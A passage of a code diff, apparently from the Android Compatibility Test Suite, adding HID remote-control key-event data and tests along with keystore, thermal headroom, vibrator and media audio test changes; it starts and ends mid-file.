+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "KEYCODE_7"},
+ {"action": "UP", "keycode": "KEYCODE_7"}
+ ]
+ },
+ {
+ "name": "Press 8",
+ "reports": [
+ [0x01, 0x00, 0x00, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "KEYCODE_8"},
+ {"action": "UP", "keycode": "KEYCODE_8"}
+ ]
+ },
+ {
+ "name": "Press 9",
+ "reports": [
+ [0x01, 0x00, 0x00, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "KEYCODE_9"},
+ {"action": "UP", "keycode": "KEYCODE_9"}
+ ]
+ },
+ {
+ "name": "Press 0",
+ "reports": [
+ [0x01, 0x00, 0x00, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "KEYCODE_0"},
+ {"action": "UP", "keycode": "KEYCODE_0"}
+ ]
+ },
+ {
+ "name": "Press Subtitles",
+ "reports": [
+ [0x02, 0x61, 0x00, 0x00, 0x00],
+ [0x02, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "CAPTIONS"},
+ {"action": "UP", "keycode": "CAPTIONS"}
+ ]
+ },
+ {
+ "name": "Press Red",
+ "reports": [
+ [0x02, 0x69, 0x00, 0x00, 0x00],
+ [0x02, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "PROG_RED"},
+ {"action": "UP", "keycode": "PROG_RED"}
+ ]
+ },
+ {
+ "name": "Press Green",
+ "reports": [
+ [0x02, 0x6a, 0x00, 0x00, 0x00],
+ [0x02, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "PROG_GREEN"},
+ {"action": "UP", "keycode": "PROG_GREEN"}
+ ]
+ },
+ {
+ "name": "Press Yellow",
+ "reports": [
+ [0x02, 0x6c, 0x00, 0x00, 0x00],
+ [0x02, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "PROG_YELLOW"},
+ {"action": "UP", "keycode": "PROG_YELLOW"}
+ ]
+ },
+ {
+ "name": "Press Blue",
+ "reports": [
+ [0x02, 0x6b, 0x00, 0x00, 0x00],
+ [0x02, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "PROG_BLUE"},
+ {"action": "UP", "keycode": "PROG_BLUE"}
+ ]
+ },
+ {
+ "name": "Press Bookmark",
+ "reports": [
+ [0x02, 0x2a, 0x02, 0x00, 0x00],
+ [0x02, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BOOKMARK"},
+ {"action": "UP", "keycode": "BOOKMARK"}
+ ]
+ },
+ {
+ "name": "Press Info",
+ "reports": [
+ [0x02, 0xbd, 0x01, 0x00, 0x00],
+ [0x02, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "INFO"},
+ {"action": "UP", "keycode": "INFO"}
+ ]
+ },
+ {
+ "name": "Press Input",
+ "reports": [
+ [0x02, 0xbb, 0x01, 0x00, 0x00],
+ [0x02, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "TV_INPUT"},
+ {"action": "UP", "keycode": "TV_INPUT"}
+ ]
+ },
+ {
+ "name": "Press D-pad up",
+ "reports": [
+ [0x02, 0x42, 0x00, 0x00, 0x00],
+ [0x02, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "DPAD_UP"},
+ {"action": "UP", "keycode": "DPAD_UP"}
+ ]
+ },
+ {
+ "name": "Press D-pad left",
+ "reports": [
+ [0x02, 0x44, 0x00, 0x00, 0x00],
+ [0x02, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "DPAD_LEFT"},
+ {"action": "UP", "keycode": "DPAD_LEFT"}
+ ]
+ },
+ {
+ "name": "Press D-pad right",
+ "reports": [
+ [0x02, 0x45, 0x00, 0x00, 0x00],
+ [0x02, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "DPAD_RIGHT"},
+ {"action": "UP", "keycode": "DPAD_RIGHT"}
+ ]
+ },
+ {
+ "name": "Press D-pad down",
+ "reports": [
+ [0x02, 0x43, 0x00, 0x00, 0x00],
+ [0x02, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "DPAD_DOWN"},
+ {"action": "UP", "keycode": "DPAD_DOWN"}
+ ]
+ },
+ {
+ "name": "Press D-pad center",
+ "reports": [
+ [0x02, 0x41, 0x00, 0x00, 0x00],
+ [0x02, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "DPAD_CENTER"},
+ {"action": "UP", "keycode": "DPAD_CENTER"}
+ ]
+ },
+ {
+ "name": "Press Back",
+ "reports": [
+ [0x02, 0x24, 0x02],
+ [0x02, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "BACK"},
+ {"action": "UP", "keycode": "BACK"}
+ ]
+ },
+ {
+ "name": "Press Guide",
+ "reports": [
+ [0x02, 0x8d, 0x00, 0x00, 0x00],
+ [0x02, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "GUIDE"},
+ {"action": "UP", "keycode": "GUIDE"}
+ ]
+ },
+ {
+ "name": "Press Program +",
+ "reports": [
+ [0x02, 0x9c, 0x00, 0x00, 0x00],
+ [0x02, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "CHANNEL_UP"},
+ {"action": "UP", "keycode": "CHANNEL_UP"}
+ ]
+ },
+ {
+ "name": "Press Program -",
+ "reports": [
+ [0x02, 0x9d, 0x00, 0x00, 0x00],
+ [0x02, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "KEYBOARD | DPAD",
+ "events": [
+ {"action": "DOWN", "keycode": "CHANNEL_DOWN"},
+ {"action": "UP", "keycode": "CHANNEL_DOWN"}
+ ]
+ }
+]
diff --git a/tests/tests/hardware/res/raw/google_atvreferenceremote_register.json b/tests/tests/hardware/res/raw/google_atvreferenceremote_register.json
new file mode 100755
index 0000000..54f9c645
--- /dev/null
+++ b/tests/tests/hardware/res/raw/google_atvreferenceremote_register.json
@@ -0,0 +1,16 @@
+{
+ "id": 1,
+ "command": "register",
+ "name": "Google ATV Reference Remote Control (Test)",
+ "vid": 0x0957,
+ "pid": 0x0001,
+ "bus": "bluetooth",
+ "descriptor": [
+ 0x05, 0x01, 0x09, 0x06, 0xa1, 0x01, 0x85, 0x01, 0x05, 0x07, 0x19, 0xe0, 0x29, 0xe7, 0x15, 0x00,
+ 0x25, 0x01, 0x75, 0x01, 0x95, 0x08, 0x81, 0x02, 0x95, 0x01, 0x75, 0x08, 0x81, 0x01, 0x95, 0x05,
+ 0x75, 0x01, 0x05, 0x08, 0x19, 0x01, 0x29, 0x05, 0x91, 0x02, 0x95, 0x01, 0x75, 0x03, 0x91, 0x01,
+ 0x95, 0x06, 0x75, 0x08, 0x15, 0x00, 0x25, 0xf1, 0x05, 0x07, 0x19, 0x00, 0x29, 0xf1, 0x81, 0x00,
+ 0xc0, 0x05, 0x0c, 0x09, 0x01, 0xa1, 0x01, 0x85, 0x02, 0x75, 0x10, 0x95, 0x02, 0x15, 0x01, 0x26,
+ 0x8c, 0x02, 0x19, 0x01, 0x2a, 0x8c, 0x02, 0x81, 0x00, 0xc0
+ ]
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/GoogleAtvReferenceRemoteControlTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/GoogleAtvReferenceRemoteControlTest.java
new file mode 100755
index 0000000..4200bc4
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/GoogleAtvReferenceRemoteControlTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.hardware.cts.R;
+import android.server.wm.WindowManagerStateHelper;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class GoogleAtvReferenceRemoteControlTest extends InputHidTestCase {
+
+ // Exercises the Bluetooth behavior of the ATV reference remote control
+ public GoogleAtvReferenceRemoteControlTest() {
+ super(R.raw.google_atvreferenceremote_register);
+ }
+
+ @Test
+ public void testAllKeys() {
+ testInputEvents(R.raw.google_atvreferenceremote_keyeventtests);
+ }
+
+ /**
+ * We cannot test the home key using "testAllKeys" because the home key does not get forwarded
+ * to apps, and therefore cannot be received in InputCtsActivity.
+ * Instead, we rely on the home button behavior check using the wm utils.
+ */
+ @Test
+ public void testHomeKey() {
+ testInputEvents(R.raw.google_atvreferenceremote_homekey);
+ WindowManagerStateHelper wmStateHelper = new WindowManagerStateHelper();
+ wmStateHelper.waitForHomeActivityVisible();
+ wmStateHelper.assertHomeActivityVisible(true);
+ }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
index c56e51e..27bb413 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
@@ -185,4 +185,67 @@
}
}
+ public void testInputVibratorManagerEvents(int resourceId) {
+ final List<HidVibratorTestData> tests = mParser.getHidVibratorTestData(resourceId);
+
+ for (HidVibratorTestData test : tests) {
+ assertEquals(test.durations.size(), test.amplitudes.size());
+ assertTrue(test.durations.size() > 0);
+
+ final long timeoutMills;
+ final long totalVibrations = test.durations.size();
+ final VibrationEffect effect;
+ if (test.durations.size() == 1) {
+ long duration = test.durations.get(0);
+ int amplitude = test.amplitudes.get(0);
+ effect = VibrationEffect.createOneShot(duration, amplitude);
+ // Set timeout to be 2 times of the effect duration.
+ timeoutMills = duration * 2;
+ } else {
+ long[] durations = test.durations.stream().mapToLong(Long::longValue).toArray();
+ int[] amplitudes = test.amplitudes.stream().mapToInt(Integer::intValue).toArray();
+ effect = VibrationEffect.createWaveform(
+ durations, amplitudes, -1);
+ // Set timeout to be 2 times of the effect total duration.
+ timeoutMills = Arrays.stream(durations).sum() * 2;
+ }
+
+ final Vibrator vibrator = getVibrator();
+ assertNotNull(vibrator);
+ // Start vibration
+ vibrator.vibrate(effect);
+ final long startTime = SystemClock.elapsedRealtime();
+ List<HidResultData> results = new ArrayList<>();
+ int vibrationCount = 0;
+ // Check the vibration ffLeft and ffRight amplitude to be expected.
+ while (vibrationCount < totalVibrations
+ && SystemClock.elapsedRealtime() - startTime < timeoutMills) {
+ SystemClock.sleep(1000);
+ try {
+ results = mHidDevice.getResults(mDeviceId, UHID_EVENT_TYPE_UHID_OUTPUT);
+ if (results.size() < totalVibrations) {
+ continue;
+ }
+ vibrationCount = 0;
+ for (int i = 0; i < results.size(); i++) {
+ HidResultData result = results.get(i);
+ if (result.deviceId == mDeviceId && verifyReportData(test, result)) {
+ int ffLeft = result.reportData[test.leftFfIndex] & 0xFF;
+ int ffRight = result.reportData[test.rightFfIndex] & 0xFF;
+ Log.v(TAG, "eventId=" + result.eventId + " reportType="
+ + result.reportType + " left=" + ffLeft + " right=" + ffRight);
+ // Check the amplitudes of FF effect are expected.
+ if (ffLeft == test.amplitudes.get(vibrationCount)
+ && ffRight == test.amplitudes.get(vibrationCount)) {
+ vibrationCount++;
+ }
+ }
+ }
+ } catch (IOException ex) {
+ throw new RuntimeException("Could not get JSON results from HidDevice");
+ }
+ }
+ assertEquals(vibrationCount, totalVibrations);
+ }
+ }
}
diff --git a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
index e3fbad5..6d2ad66 100644
--- a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
@@ -437,6 +437,7 @@
*/
public void testEncryptsAndDecryptsInterrupted()
throws Exception {
+
Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
assertNotNull(provider);
final byte[] originalPlaintext = EmptyArray.BYTE;
@@ -546,8 +547,6 @@
KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT,
false, isUnlockedDeviceRequired, isUserAuthRequired)) {
try {
- // Encrypt the data with the device locked
- dl.performDeviceLock();
Key encryptionKey = key.getKeystoreBackedEncryptionKey();
byte[] plaintext = truncatePlaintextIfNecessary(
algorithm, encryptionKey, originalPlaintext);
@@ -569,8 +568,9 @@
expectedPlaintext, modulusLengthBytes);
}
- // Then attempt to decrypt the data with the device still locked
- // This should fail.
+ dl.performDeviceLock();
+
+ // Attempt to decrypt the data with the device locked.
cipher = Cipher.getInstance(algorithm, provider);
assertFalse(isDecryptValid(expectedPlaintext, ciphertext, cipher, params, key));
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 66bd862..bad98b2 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -125,6 +125,7 @@
private static final Pattern OS_PATCH_LEVEL_STRING_PATTERN = Pattern
.compile("([0-9]{4})-([0-9]{2})-[0-9]{2}");
+ private static final int KM_ERROR_CANNOT_ATTEST_IDS = -66;
private static final int KM_ERROR_INVALID_INPUT_LENGTH = -21;
private static final int KM_ERROR_PERMISSION_DENIED = 6;
@@ -181,6 +182,14 @@
curves[curveIndex], keySizes[curveIndex],
purposes[purposeIndex], devicePropertiesAttestation);
} catch (Throwable e) {
+ if (devicePropertiesAttestation
+ && (e.getCause() instanceof KeyStoreException)
+ && KM_ERROR_CANNOT_ATTEST_IDS ==
+ ((KeyStoreException) e.getCause()).getErrorCode()) {
+ Log.i(TAG, "key attestation with device IDs not supported; "
+ + "test skipped");
+ continue;
+ }
throw new Exception("Failed on curve " + curveIndex +
" challenge " + challengeIndex + " purpose " +
purposeIndex + " includeValidityDates " +
@@ -503,6 +512,12 @@
testRsaAttestation(challenge, false /* includeValidityDates */, keySize, purpose,
paddings, devicePropertiesAttestation);
} catch (Throwable e) {
+ if (devicePropertiesAttestation && (e.getCause() instanceof KeyStoreException)
+ && KM_ERROR_CANNOT_ATTEST_IDS ==
+ ((KeyStoreException) e.getCause()).getErrorCode()) {
+ Log.i(TAG, "key attestation with device IDs not supported; test skipped");
+ continue;
+ }
throw new Exception("Failed on key size " + keySize + " challenge [" +
new String(challenge) + "], purposes " +
buildPurposeSet(purpose) + " paddings " +
diff --git a/tests/tests/libthermalndk/jni/NativeThermalTest.cpp b/tests/tests/libthermalndk/jni/NativeThermalTest.cpp
index 62611fc..ae2dbad 100644
--- a/tests/tests/libthermalndk/jni/NativeThermalTest.cpp
+++ b/tests/tests/libthermalndk/jni/NativeThermalTest.cpp
@@ -25,6 +25,7 @@
#include <inttypes.h>
#include <time.h>
#include <unistd.h>
+#include <math.h>
#include <vector>
#include <android/thermal.h>
@@ -256,6 +257,41 @@
return returnJString(env, testThermalStatusListenerDoubleRegistration(env, obj));
}
+static std::optional<std::string> testGetThermalHeadroom(JNIEnv *, jobject) {
+ AThermalTestContext ctx;
+ std::unique_lock<std::mutex> lock(ctx.mMutex);
+
+ ctx.mThermalMgr = AThermal_acquireManager();
+ if (ctx.mThermalMgr == nullptr) {
+ return "AThermal_acquireManager failed";
+ }
+
+ // Fairly light touch test only. More in-depth testing of the underlying
+ // Thermal API functionality is done against the equivalent Java API.
+
+ float headroom = AThermal_getThermalHeadroom(ctx.mThermalMgr, 0);
+ if (isnan(headroom)) {
+ // If the device doesn't support thermal headroom, return early.
+ // This is not a failure.
+ return std::nullopt;
+ }
+
+ if (headroom < 0.0f) {
+ return StringPrintf("Expected non-negative headroom but got %2.2f",
+ headroom);
+ }
+ if (headroom >= 10.0f) {
+ return StringPrintf("Expected reasonably small (<10) headroom but got %2.2f", headroom);
+ }
+
+ AThermal_releaseManager(ctx.mThermalMgr);
+ return std::nullopt;
+}
+
+static jstring nativeTestGetThermalHeadroom(JNIEnv *env, jobject obj) {
+ return returnJString(env, testGetThermalHeadroom(env, obj));
+}
+
extern "C" JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void*) {
JNIEnv* env;
const JNINativeMethod methodTable[] = {
@@ -267,6 +303,8 @@
(void*)nativeTestThermalStatusRegisterNullListener},
{"nativeTestThermalStatusListenerDoubleRegistration", "()Ljava/lang/String;",
(void*)nativeTestThermalStatusListenerDoubleRegistration},
+ {"nativeTestGetThermalHeadroom", "()Ljava/lang/String;",
+ (void*)nativeTestGetThermalHeadroom},
};
if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) {
return JNI_ERR;
diff --git a/tests/tests/libthermalndk/src/android/thermal/cts/NativeThermalTest.java b/tests/tests/libthermalndk/src/android/thermal/cts/NativeThermalTest.java
index ab6d518..634ec56 100644
--- a/tests/tests/libthermalndk/src/android/thermal/cts/NativeThermalTest.java
+++ b/tests/tests/libthermalndk/src/android/thermal/cts/NativeThermalTest.java
@@ -47,6 +47,7 @@
private native String nativeTestRegisterThermalStatusListener();
private native String nativeTestThermalStatusRegisterNullListener();
private native String nativeTestThermalStatusListenerDoubleRegistration();
+ private native String nativeTestGetThermalHeadroom();
@Before
public void setUp() throws Exception {
@@ -120,6 +121,19 @@
}
}
+ /**
+ * Test that getThermalHeadroom works
+ *
+ * @throws Exception
+ */
+ @Test
+ public void testGetThermalHeadroom() throws Exception {
+ final String failureMessage = nativeTestGetThermalHeadroom();
+ if (!Strings.isNullOrEmpty(failureMessage)) {
+ fail(failureMessage);
+ }
+ }
+
static {
System.loadLibrary("ctsthermal_jni");
}
diff --git a/tests/tests/media/Android.bp b/tests/tests/media/Android.bp
index 2e23cff..905bff7 100644
--- a/tests/tests/media/Android.bp
+++ b/tests/tests/media/Android.bp
@@ -18,6 +18,10 @@
"src/android/media/cts/CodecImage.java",
"src/android/media/cts/YUVImage.java",
"src/android/media/cts/CodecUtils.java",
+ "src/android/media/cts/CodecState.java",
+ "src/android/media/cts/MediaCodecTunneledPlayer.java",
+ "src/android/media/cts/MediaTimeProvider.java",
+ "src/android/media/cts/NonBlockingAudioTrack.java",
],
sdk_version: "current",
}
diff --git a/tests/tests/media/AndroidManifest.xml b/tests/tests/media/AndroidManifest.xml
index fc41f8e..a94a1b4 100644
--- a/tests/tests/media/AndroidManifest.xml
+++ b/tests/tests/media/AndroidManifest.xml
@@ -131,6 +131,7 @@
</intent-filter>
</activity>
<activity android:name="android.media.cts.MockActivity"/>
+ <activity android:name="android.media.cts.MediaRouter2TestActivity"/>
<service android:name="android.media.cts.RemoteVirtualDisplayService"
android:process=":remoteService"
android:exported="true">
diff --git a/tests/tests/media/AndroidTest.xml b/tests/tests/media/AndroidTest.xml
index c54ecd0..c158663 100644
--- a/tests/tests/media/AndroidTest.xml
+++ b/tests/tests/media/AndroidTest.xml
@@ -26,7 +26,7 @@
</target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
- <option name="media-folder-name" value="CtsMediaTestCases-1.3" />
+ <option name="media-folder-name" value="CtsMediaTestCases-1.4" />
<option name="dynamic-config-module" value="CtsMediaTestCases" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/media/DynamicConfig.xml b/tests/tests/media/DynamicConfig.xml
index 0fd0a0b..4548620 100644
--- a/tests/tests/media/DynamicConfig.xml
+++ b/tests/tests/media/DynamicConfig.xml
@@ -51,6 +51,6 @@
<value>http://redirector.gvt1.com/videoplayback?id=c80658495af60617&itag=17&source=youtube&ip=0.0.0.0&ipbits=0&expire=19000000000&sparams=ip,ipbits,expire,id,itag,source&signature=70E979A621001201BC18622BDBF914FA870BDA40.6E78890B80F4A33A18835F775B1FF64F0A4D0003&key=ik0&user=android-device-test</value>
</entry>
<entry key="media_files_url">
- <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/CtsMediaTestCases-1.3.zip</value>
+ <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/CtsMediaTestCases-1.4.zip</value>
</entry>
</dynamicConfig>
diff --git a/tests/tests/media/OWNERS b/tests/tests/media/OWNERS
index e3d8ccc..4f5a2ef 100644
--- a/tests/tests/media/OWNERS
+++ b/tests/tests/media/OWNERS
@@ -12,3 +12,7 @@
jmtrivi@google.com
jsharkey@android.com
sungsoo@google.com
+
+# LON
+olly@google.com
+andrewlewis@google.com
diff --git a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
index f4e86eb..24d9514 100644
--- a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
@@ -222,6 +222,55 @@
assertEquals(AudioUsage.AUDIO_USAGE_MEDIA.toString(), xsdUsage);
}
+ public void testUsageToString_returnCorrectStrings() {
+ assertEquals("USAGE_UNKNOWN", AudioAttributes.usageToString(AudioAttributes.USAGE_UNKNOWN));
+ assertEquals("USAGE_MEDIA", AudioAttributes.usageToString(AudioAttributes.USAGE_MEDIA));
+ assertEquals("USAGE_VOICE_COMMUNICATION",
+ AudioAttributes.usageToString(AudioAttributes.USAGE_VOICE_COMMUNICATION));
+ assertEquals("USAGE_VOICE_COMMUNICATION_SIGNALLING",
+ AudioAttributes.usageToString(
+ AudioAttributes.USAGE_VOICE_COMMUNICATION_SIGNALLING));
+ assertEquals("USAGE_ALARM", AudioAttributes.usageToString(AudioAttributes.USAGE_ALARM));
+ assertEquals("USAGE_NOTIFICATION",
+ AudioAttributes.usageToString(AudioAttributes.USAGE_NOTIFICATION));
+ assertEquals("USAGE_NOTIFICATION_RINGTONE",
+ AudioAttributes.usageToString(AudioAttributes.USAGE_NOTIFICATION_RINGTONE));
+ assertEquals("USAGE_NOTIFICATION_COMMUNICATION_REQUEST",
+ AudioAttributes.usageToString(
+ AudioAttributes.USAGE_NOTIFICATION_COMMUNICATION_REQUEST));
+ assertEquals("USAGE_NOTIFICATION_COMMUNICATION_INSTANT",
+ AudioAttributes.usageToString(
+ AudioAttributes.USAGE_NOTIFICATION_COMMUNICATION_INSTANT));
+ assertEquals("USAGE_NOTIFICATION_COMMUNICATION_DELAYED",
+ AudioAttributes.usageToString(
+ AudioAttributes.USAGE_NOTIFICATION_COMMUNICATION_DELAYED));
+ assertEquals("USAGE_NOTIFICATION_EVENT",
+ AudioAttributes.usageToString(AudioAttributes.USAGE_NOTIFICATION_EVENT));
+ assertEquals("USAGE_ASSISTANCE_ACCESSIBILITY",
+ AudioAttributes.usageToString(AudioAttributes.USAGE_ASSISTANCE_ACCESSIBILITY));
+ assertEquals("USAGE_ASSISTANCE_NAVIGATION_GUIDANCE",
+ AudioAttributes.usageToString(
+ AudioAttributes.USAGE_ASSISTANCE_NAVIGATION_GUIDANCE));
+ assertEquals("USAGE_ASSISTANCE_SONIFICATION",
+ AudioAttributes.usageToString(AudioAttributes.USAGE_ASSISTANCE_SONIFICATION));
+ assertEquals("USAGE_GAME", AudioAttributes.usageToString(AudioAttributes.USAGE_GAME));
+ assertEquals("USAGE_ASSISTANT",
+ AudioAttributes.usageToString(AudioAttributes.USAGE_ASSISTANT));
+ assertEquals("USAGE_CALL_ASSISTANT",
+ AudioAttributes.usageToString(AudioAttributes.USAGE_CALL_ASSISTANT));
+ assertEquals("USAGE_EMERGENCY",
+ AudioAttributes.usageToString(AudioAttributes.USAGE_EMERGENCY));
+ assertEquals("USAGE_SAFETY", AudioAttributes.usageToString(AudioAttributes.USAGE_SAFETY));
+ assertEquals("USAGE_VEHICLE_STATUS",
+ AudioAttributes.usageToString(AudioAttributes.USAGE_VEHICLE_STATUS));
+ assertEquals("USAGE_ANNOUNCEMENT",
+ AudioAttributes.usageToString(AudioAttributes.USAGE_ANNOUNCEMENT));
+ }
+
+ public void testUsageToString_unknownUsage() {
+ assertEquals("unknown usage -1", AudioAttributes.usageToString(-1));
+ }
+
// -------------------------------------------------------------------
// Reflection helpers for accessing system usage methods and fields
// -------------------------------------------------------------------
diff --git a/tests/tests/media/src/android/media/cts/AudioCommunicationDeviceTest.java b/tests/tests/media/src/android/media/cts/AudioCommunicationDeviceTest.java
new file mode 100644
index 0000000..e5da923
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/AudioCommunicationDeviceTest.java
@@ -0,0 +1,286 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.content.pm.PackageManager;
+import android.media.AudioDeviceInfo;
+import android.media.AudioManager;
+import android.util.Log;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+import com.android.internal.annotations.GuardedBy;
+
+import java.util.concurrent.Executors;
+
+public class AudioCommunicationDeviceTest extends CtsAndroidTestCase {
+ private final static String TAG = "AudioCommunicationDeviceTest";
+
+ private AudioManager mAudioManager;
+
+ private static final int[] VALID_COMMUNICATION_DEVICE_TYPES = {
+ AudioDeviceInfo.TYPE_BUILTIN_SPEAKER,
+ AudioDeviceInfo.TYPE_BLUETOOTH_SCO,
+ AudioDeviceInfo.TYPE_WIRED_HEADSET,
+ AudioDeviceInfo.TYPE_USB_HEADSET,
+ AudioDeviceInfo.TYPE_BUILTIN_EARPIECE,
+ AudioDeviceInfo.TYPE_WIRED_HEADPHONES,
+ AudioDeviceInfo.TYPE_HEARING_AID,
+ AudioDeviceInfo.TYPE_BLE_HEADSET,
+ AudioDeviceInfo.TYPE_USB_DEVICE,
+ AudioDeviceInfo.TYPE_BLE_SPEAKER,
+ AudioDeviceInfo.TYPE_LINE_ANALOG,
+ AudioDeviceInfo.TYPE_HDMI,
+ AudioDeviceInfo.TYPE_AUX_LINE
+ };
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mAudioManager = getInstrumentation().getContext().getSystemService(AudioManager.class);
+ }
+
+ private boolean isValidCommunicationDevice(AudioDeviceInfo device) {
+ for (int type : VALID_COMMUNICATION_DEVICE_TYPES) {
+ if (device.getType() == type) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ public void testSetValidDeviceForCommunication() {
+ if (!isValidPlatform("testSetValidDeviceForCommunication")) return;
+
+ AudioDeviceInfo commDevice = null;
+ AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+ for (AudioDeviceInfo device : devices) {
+ if (!isValidCommunicationDevice(device)) {
+ continue;
+ }
+ try {
+ mAudioManager.setDeviceForCommunication(device);
+ try {
+ commDevice = mAudioManager.getDeviceForCommunication();
+ } catch (Exception e) {
+ fail("getDeviceForCommunication failed with exception: " + e);
+ }
+ if (commDevice == null || commDevice.getType() != device.getType()) {
+ fail("setDeviceForCommunication failed, expected device: "
+ + device.getType() + " but got: "
+ + ((commDevice == null)
+ ? AudioDeviceInfo.TYPE_UNKNOWN : commDevice.getType()));
+ }
+ } catch (Exception e) {
+ fail("setDeviceForCommunication failed with exception: " + e);
+ }
+ }
+
+ try {
